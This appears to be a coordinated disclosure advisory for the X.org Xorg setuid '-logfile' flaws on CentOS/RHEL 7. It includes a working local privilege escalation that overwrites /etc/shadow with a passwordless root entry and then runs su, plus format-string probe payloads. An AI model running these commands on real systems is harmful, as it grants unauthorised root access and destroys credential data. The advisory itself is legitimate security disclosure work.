Arbitrary File Overwrite Vulnerability Leads to Privilege Escalation
Details
X.org X Server application is vulnerable to privilege escalation issue. X.org X Server application allows lower privileged user to create or overwrite file anywhere on system , including files owned by privileged users (ex. /etc/shadow).
The attacker needs to have active console session to exploit this issue.
Test Targets
CentOS - 7
[ narendra @localhost ~ ] $ uname - a
Linux localhost . localdomain 4.18 . 11 - 1 . el7 . elrepo . x86_64 #1 SMP Sat Sep 29 09:42:38 EDT 2018 x86_64 x86_64 xGNU/Linux
Rhel - server - 7.5
root @localhost Dev ] # uname -a
Linux localhost . localdomain 3.10 . 0 - 862 . el7 . x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64 x86_64 x86_64 GNU/Linux
Tested with X.Org X Server 1.19.5.
Analysis:
On CentOS and RedHat server operating systems, X.org X server executable ( /usr/bin/Xorg ) is assigned with “root setuid” permission.
[ Dev@localhost ~]$ ls -la /usr/bin/Xorg
-rwsr-xr-x . 1 root root 2409344 Apr 11 22:12 /usr/bin/Xorg
In X.org X server application, LogInit() function prepares setup for logging activities. X.org X server allows user to specify logfile name using “-logfile” option.
If file with same name as user provided “" is already present on system then, its renamed to ".old".
Once this is done a new file is created with user provided “" name using fopen() call as below,
Xorg - Server / os / log . c
244 const char *
245 LogInit ( const char * fname , const char * backup )
246 {
247 char * logFileName = NULL ;
248
249 if ( fname && * fname ) {
250 if ( displayfd != - 1 ) {
251 /* Display isn't set yet, so we can't use it in filenames yet. */
252 char pidstring [ 32 ];
253 snprintf ( pidstring , sizeof ( pidstring ), "pid-%ld" ,
254 ( unsigned long ) getpid ());
255 logFileName = LogFilePrep ( fname , backup , pidstring );
256 saved_log_tempname = logFileName ;
257
258 /* Save the patterns for use when the display is named. */
259 saved_log_fname = strdup ( fname );
260 if ( backup == NULL )
261 saved_log_backup = NULL ;
262 else
263 saved_log_backup = strdup ( backup );
264 } else
265 logFileName = LogFilePrep ( fname , backup , display );
266 if (( logFile = fopen ( logFileName , "w" )) == NULL )
267 FatalError ( "Cannot open log file \" %s \"\n " , logFileName );
268 setvbuf ( logFile , NULL , _IONBF , 0 );
269
270 logFileFd = fileno ( logFile );
The underlying open() syscall with umask permissionsdetails can be confirmed via strace -
stat ( "mylogfile" , 0x7ffcb9654ed0 ) & n - 1 ENOENT ( No such file or directory )
open ( "mylogfile" , O_WRONLY | O_CREAT | O_TRUNC , 0666 ) = 4
rt_sigaction ( SIGALRM , { 0x55b6e2c2ca70 , [ ALRM ], SA_RESTORER | SA_RESTART , 0x7fb0353036d0 }, NULL , 8 ) = 0
From strace logs its confirmed that O_EXCL flag is not set, so fopen() will create or overwrite already present file.
Exploitation:
For exploitation we need to use following 3 points -
fopen() syscall input is user-controlled filename value
fopen() will create or overwrite already present file
/usr/bin/Xorg executable is assigned with root “setuid” permissions
/etc/shadow file overwrite
[ Dev@localhost ~]$ uname -r
3.10.0-862.el7.x86_64
[ Dev@localhost ~]$ Xorg -version
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 2.6.32-696.18.7.el6.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
Kernel command line: BOOT_IMAGE = /vmlinuz-3.10.0-862.el7.x86_64 root = /dev/mapper/rhel-root ro crashkernel = auto rd.lvm.lv= rhel/root rd.lvm.lv= rhel/swap rhgb quiet LANG = en_US.UTF-8
Build Date: 13 February 2018 02:39:52PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.
[ Dev@localhost ~]
[ Dev@localhost ~]$ id
uid = 1000( Dev) gid = 1000( Dev) groups = 1000( Dev) context = unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ Dev@localhost ~]$
[ Dev@localhost ~]$ cd /etc
[ Dev@localhost etc]$ ls -la shadow
---------- . 1 root root 1650 Oct 6 05:03 shadow
[ Dev@localhost etc]$
[ Dev@localhost etc]$ cat shadow
cat : shadow: Permission denied
[ Dev@localhost etc]$
[ Dev@localhost etc]$ Xorg -logfile shadow :1
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 2.6.32-696.18.7.el6.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
Kernel command line: BOOT_IMAGE = /vmlinuz-3.10.0-862.el7.x86_64 root = /dev/mapper/rhel-root ro crashkernel = auto rd.lvm.lv= rhel/root rd.lvm.lv= rhel/swap rhgb quiet LANG = en_US.UTF-8
Build Date: 13 February 2018 02:39:52PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.
Markers: ( -- ) probed, ( ** ) from config file, (==) default setting,
( ++) from command line, (!!) notice, ( II) informational,
( WW) warning, ( EE) error, ( NI) not implemented, ( ??) unknown.
( ++) Log file: "shadow" , Time: Sat Oct 6 21:54:13 2018
(==) Using config directory: "/etc/X11/xorg.conf.d"
(==) Using system config directory "/usr/share/X11/xorg.conf.d"
^Cerror setting MTRR ( base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument ( 22)
( II) Server terminated successfully ( 0) . Closing log file.
[ Dev@localhost etc]$
[ Dev@localhost etc]$
[ Dev@localhost etc]$ ls -la shadow
-rw-r--r-- . 1 root Dev 53901 Oct 6 21:54 shadow
[ Dev@localhost etc]$
[ Dev@localhost etc]$ head shadow
[ 11941.870]
X.Org X Server 1.19.5
Release Date: 2017-10-12
[ 11941.870] X Protocol Version 11, Revision 0
[ 11941.870] Build Operating System: 2.6.32-696.18.7.el6.x86_64
[ 11941.870] Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
[ 11941.870] Kernel command line: BOOT_IMAGE = /vmlinuz-3.10.0-862.el7.x86_64 root = /dev/mapper/rhel-root ro crashkernel = auto rd.lvm.lv= rhel/root rd.lvm.lv= rhel/swap rhgb quiet LANG = en_US.UTF-8
[ 11941.870] Build Date: 13 February 2018 02:39:52PM
[ 11941.870] Build ID: xorg-x11-server 1.19.5-5.el7
[ 11941.870] Current version of pixman: 0.34.0
[ Dev@localhost etc]$
Gain root privileges
[ Dev@localhost ~]$ id
uid = 1000( Dev) gid = 1000( Dev) groups = 1000( Dev) context = unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ Dev@localhost ~]$
[ Dev@localhost ~]$ cd /etc
[ Dev@localhost etc]$
[ Dev@localhost etc]$ ls -la shadow
---------- . 1 root root 1241 Oct 10 01:15 shadow
[ Dev@localhost etc]$
[ Dev@localhost etc]$ cat shadow
cat : shadow: Permission denied
[ Dev@localhost etc]$
[ Dev@localhost etc]$ Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 3.10.0-693.17.1.el7.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Kernel command line: BOOT_IMAGE = /vmlinuz-3.10.0-862.14.4.el7.x86_64 root = /dev/mapper/centos-root ro crashkernel = auto rd.lvm.lv= centos/root rd.lvm.lv= centos/swap rhgb quiet LANG = en_US.UTF-8
Build Date: 11 April 2018 04:40:54PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
Markers: ( -- ) probed, ( ** ) from config file, (==) default setting,
( ++) from command line, (!!) notice, ( II) informational,
( WW) warning, ( EE) error, ( NI) not implemented, ( ??) unknown.
( ++) Log file: "shadow" , Time: Wed Oct 10 01:16:10 2018
(==) Using config directory: "/etc/X11/xorg.conf.d"
(==) Using system config directory "/usr/share/X11/xorg.conf.d"
^Cerror setting MTRR ( base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument ( 22)
( II) Server terminated successfully ( 0) . Closing log file.
[ Dev@localhost etc]$ ls -la shadow
-rw-r--r-- . 1 root Dev 53897 Oct 10 01:16 shadow
[ Dev@localhost etc]$
[ Dev@localhost etc]$ cat shadow | grep "root::"
root::16431:0:99999:7:::
[ Dev@localhost etc]$
[ Dev@localhost etc]$
[ Dev@localhost etc]$ su
[ root@localhost etc]#
[ root@localhost etc]# id
uid = 0( root) gid = 0( root) groups = 0( root) context = unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Details:
X.org X Server application configuration option “-logfile” is vulnerable to format string vulnerability.
Analysis:
The user controlled tainted data flow -
stubmain . c
int dix_main ( int argc , char * argv [], char * envp []);
/*
A default implementation of main, which can be overridden by the DDX
*/
int
main ( int argc , char * argv [], char * envp [])
{
return dix_main ( argc , argv , envp ); // user controlled parameters in argv
dix / main . c
int dix_main ( int argc , char * argv [], char * envp [])
{
int i ;
HWEventQueueType alwaysCheckForInput [ 2 ];
....
OsInit (); <= /* Perform any operating system dependent initializations you'd like */
os / osinit . c
void OsInit ( void )
{
.....
/*
* No log file by default. OsVendorInit() should call LogInit() with the
* log file name if logging to a file is desired.
*/
OsVendorInit ();
hw / xfree86 / common / xf86Init . c
void OsVendorInit ( void )
{
...
if ( ! beenHere ) {
umask ( 022 );
xf86LogInit ();
}
hw / xfree86 / common / xf86Helper . c
void xf86LogInit ( void )
{
...
xf86LogFile = LogInit ( xf86LogFile , LOGOLDSUFFIX );
os / log . c
const char *
LogInit ( const char * fname , const char * backup )
{
...
logFileName = LogFilePrep ( fname , backup , pidstring );
...
}
static char *
LogFilePrep ( const char * fname , const char * backup , const char * idstring )
{
char * logFileName = NULL ;
...
if ( asprintf ( & logFileName , fname , idstring ) == - 1 )
FatalError ( "Cannot allocate space for the log file name \n " );
...
In above code, “fname” contains user controlled malicious input which is passed to asprintf() function results into format string vulnerability.
Exploitation:
Tested on CentOS 7
[ developer@localhost test ] $ uname -a
Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[ developer@localhost test ] $
[ developer@localhost test ] $
[ developer@localhost test ] $ Xorg -version
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 3.10.0-693.17.1.el7.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Kernel command line: BOOT_IMAGE = /vmlinuz-3.10.0-862.14.4.el7.x86_64 root = /dev/mapper/centos-root ro crashkernel = auto rd.lvm.lv= centos/root rd.lvm.lv= centos/swap rhgb quiet LANG = en_US.UTF-8
Build Date: 11 April 2018 04:40:54PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
[ developer@localhost test ] $
[ developer@localhost test ] $ /usr/bin/Xorg -logfile xf86LogFile.%s.%s.%s.%s.%s.%s.%s.%s.%s.%s :1
( EE)
( EE) Backtrace:
( EE) 0: /usr/bin/Xorg ( xorg_backtrace+0x55) [ 0x55770e41f135]
( EE) 1: /usr/bin/Xorg ( 0x55770e271000+0x1b1ec9) [ 0x55770e422ec9]
( EE) 2: /lib64/libpthread.so.0 ( 0x7f1908866000+0xf6d0) [ 0x7f19088756d0]
( EE) 3: /lib64/libc.so.6 ( _IO_vfprintf+0x4a79) [ 0x7f19084e5f19]
( EE) 4: /lib64/libc.so.6 ( __vasprintf_chk+0xb5) [ 0x7f19085b1085]
( EE) 5: /lib64/libc.so.6 ( __asprintf_chk+0x82) [ 0x7f19085b0fc2]
( EE) 6: /usr/bin/Xorg ( 0x55770e271000+0x1bb655) [ 0x55770e42c655]
( EE) 7: /usr/bin/Xorg ( LogInit+0x19f) [ 0x55770e42c92f]
( EE) 8: /usr/bin/Xorg ( xf86LogInit+0x47) [ 0x55770e310cc7]
( EE) 9: /usr/bin/Xorg ( OsVendorInit+0x29) [ 0x55770e307909]
( EE) 10: /usr/bin/Xorg ( OsInit+0x25a) [ 0x55770e4231aa]
( EE) 11: /usr/bin/Xorg ( 0x55770e271000+0x578dc) [ 0x55770e2c88dc]
( EE) 12: /lib64/libc.so.6 ( __libc_start_main+0xf5) [ 0x7f19084bb445]
( EE) 13: /usr/bin/Xorg ( 0x55770e271000+0x41c7e) [ 0x55770e2b2c7e]
( EE)
( EE) Segmentation fault at address 0x5
( EE)
Fatal server error:
( EE) Caught signal 11 ( Segmentation fault) . Server aborting
[ developer@localhost test ] $ /usr/bin/Xorg -logfile xf86LogFile.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx :1
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 3.10.0-693.17.1.el7.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Kernel command line: BOOT_IMAGE = /vmlinuz-3.10.0-862.14.4.el7.x86_64 root = /dev/mapper/centos-root ro crashkernel = auto rd.lvm.lv= centos/root rd.lvm.lv= centos/swap rhgb quiet LANG = en_US.UTF-8
Build Date: 11 April 2018 04:40:54PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
Markers: ( -- ) probed, ( ** ) from config file, (==) default setting,
( ++) from command line, (!!) notice, ( II) informational,
( WW) warning, ( EE) error, ( NI) not implemented, ( ??) unknown.
( ++) Log file: "xf86LogFile.7fff8bf88556.7fff8bf85fa0.7fff8bf85e50.7fff8bf85010.0.5585766edf18.7efdfefd4e98.5.3000000030.7fff8bf84ff0" , Time: Thu Oct 11 20:39:32 2018
(==) Using config directory: "/etc/X11/xorg.conf.d"
(==) Using system config directory "/usr/share/X11/xorg.conf.d"
pci id for fd 15: 80ee:beef, driver ( null)
EGL_MESA_drm_image required.
^C( II) Server terminated successfully ( 0) . Closing log file.
developer@localhost test ] $ /usr/bin/Xorg -logfile xf86LogFile.%n.%n.%n.%n :1
\* ** %n in writable segment detected ***
( EE)
( EE) Backtrace:
( EE) 0: /usr/bin/Xorg ( xorg_backtrace+0x55) [ 0x563e94de6135]
( EE) 1: /usr/bin/Xorg ( 0x563e94c38000+0x1b1ec9) [ 0x563e94de9ec9]
( EE) 2: /lib64/libpthread.so.0 ( 0x7f0068f28000+0xf6d0) [ 0x7f0068f376d0]
( EE) 3: /lib64/libc.so.6 ( gsignal+0x37) [ 0x7f0068b91277]
( EE) 4: /lib64/libc.so.6 ( abort+0x148) [ 0x7f0068b92968]
( EE) 5: /lib64/libc.so.6 ( 0x7f0068b5b000+0x78d37) [ 0x7f0068bd3d37]
( EE) 6: /lib64/libc.so.6 ( __libc_fatal+0x1e) [ 0x7f0068bd3e1e]
( EE) 7: /lib64/libc.so.6 ( _IO_vfprintf+0x2b76) [ 0x7f0068ba6016]
( EE) 8: /lib64/libc.so.6 ( __vasprintf_chk+0xb5) [ 0x7f0068c73085]
( EE) 9: /lib64/libc.so.6 ( __asprintf_chk+0x82) [ 0x7f0068c72fc2]
( EE) 10: /usr/bin/Xorg ( 0x563e94c38000+0x1bb655) [ 0x563e94df3655]
( EE) 11: /usr/bin/Xorg ( LogInit+0x19f) [ 0x563e94df392f]
( EE) 12: /usr/bin/Xorg ( xf86LogInit+0x47) [ 0x563e94cd7cc7]
( EE) 13: /usr/bin/Xorg ( OsVendorInit+0x29) [ 0x563e94cce909]
( EE) 14: /usr/bin/Xorg ( OsInit+0x25a) [ 0x563e94dea1aa]
( EE) 15: /usr/bin/Xorg ( 0x563e94c38000+0x578dc) [ 0x563e94c8f8dc]
( EE) 16: /lib64/libc.so.6 ( __libc_start_main+0xf5) [ 0x7f0068b7d445]
( EE) 17: /usr/bin/Xorg ( 0x563e94c38000+0x41c7e) [ 0x563e94c79c7e]
( EE)
( EE)
Fatal server error:
( EE) Caught signal 6 ( Aborted) . Server aborting
( EE)
( EE)
Please consult the The X.Org Foundation support at http://wiki.x.org for help.
( EE)
*** %n in writable segment detected *** confirms that security hardening mechanism FORTIFY_SOURCE is enabled. So impact is minimized, this issue leads to sensitive system information leakage.
Acknowledgments
I would like to thank X.org and Red Hat Product Security team.
https://lists.x.org/archives/xorg-announce/2018-October/002927.html
https://lists.x.org/archives/xorg-announce/2018-October/002928.html
Timeline
2018-10-10: Contacted secalert@redhat.com
2018-10-12: Contacted X.org Team
2018-10-25: Coordinated Release Date (Time: 14:00 UTC)